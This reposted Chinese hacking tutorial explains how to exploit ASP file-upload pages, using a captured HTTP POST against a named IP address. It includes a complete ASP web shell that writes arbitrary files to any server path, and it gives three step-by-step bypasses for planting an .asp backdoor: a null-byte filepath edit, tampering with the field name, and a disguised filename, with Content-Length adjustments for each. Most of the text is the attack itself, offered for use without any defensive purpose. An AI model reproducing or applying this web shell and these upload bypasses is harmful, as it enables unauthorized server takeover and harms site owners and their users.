首页 电脑 电脑学堂 查看内容

upfile之cookies经典提交利用

2004-10-31 08:01 646 0

摘要: 作者:swap 提示,一般提交点 upload.asp upload.htm upfile.asp upfile.htm cookies之提交之方法的三种利用  找一个可以提交的点先,ht...
关键词: Content Disposition asp data form upload name 1200 application 长度

作者:swap 提示,一般提交点 upload.asp upload.htm upfile.asp upfile.htm cookies之提交之方法的三种利用  找一个可以提交的点先,http://218.27.1.210/admin/upload.asp, 随便提交一个马,mm.asp,并用WSockExpert监听。 截取信息保存到a.txt中 POST /admin/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */* Referer: http://218.27.1.210/admin/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4bc1200e8 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon) Host: 218.27.1.210 Content-Length: 1641 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDAASRSRST=BIFOBMEAIPKGAHDBLHJJJFEE -----------------------------7d4bc1200e8 Content-Disposition: form-data; name="filepath" ../pic/ -----------------------------7d4bc1200e8 Content-Disposition: form-data; name="act" 奇怪,怎么少了一行2004xxxxxx的已上传文件??? upload -----------------------------7d4bc1200e8 Content-Disposition: form-data; name="file1"; filename="C:\css3.asp" Content-Type: text/plain <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "<font color=red>save Success!</font>"%> <%else%> <%response.write "<font color=red>Save UnSuccess!</font>"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write "<form action='''' method=post>"%> <%Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>"%> <%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> <%Response.Write "<br>"%> <%Response.write "本文件绝对路径"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write "<br>"%> <%Response.write "输入马的内容:"%> <%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> <%Response.write "<input type=submit value=保存>"%> <%Response.write "</form>"%> -----------------------------7d4bc1200e8 Content-Disposition: form-data; name="Submit" 上传 -----------------------------7d4bc1200e8-- 这个时候,修改上传的方式可以分三种 1。可以在Content-Disposition: form-data; name="filepath" ../pic/ 这里修改,比如,修改为 Content-Disposition: form-data; name="filepath" ../pic/xx.asp 这里的xx.asp当然就是我们要传的后门了,注意后面预留一个空格。可以用UE打开,修改HEX空格20为00 并在最后把C:\css3.asp修改为css3.gif或者其他系统允许上传的后缀格式。 并修改Content-Length: 1641长度加5为1646 Content-Disposition: form-data; name="file1"; filename="C:\css3.asp" Content-Type: text/plain 2。可以直接修改 upload -----------------------------7d4bc1200e8 在这里7d4bc1200e8就是我们已经上传的文件,直接把它修改为xx.asp ,注意空格。因为前后长度一直,不需要修改lenght长度。 修改其他,并上传。 3。修改最后的C:\css3.asp为"C:\css3.asp .gif" ,追加length长度5,并上传。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部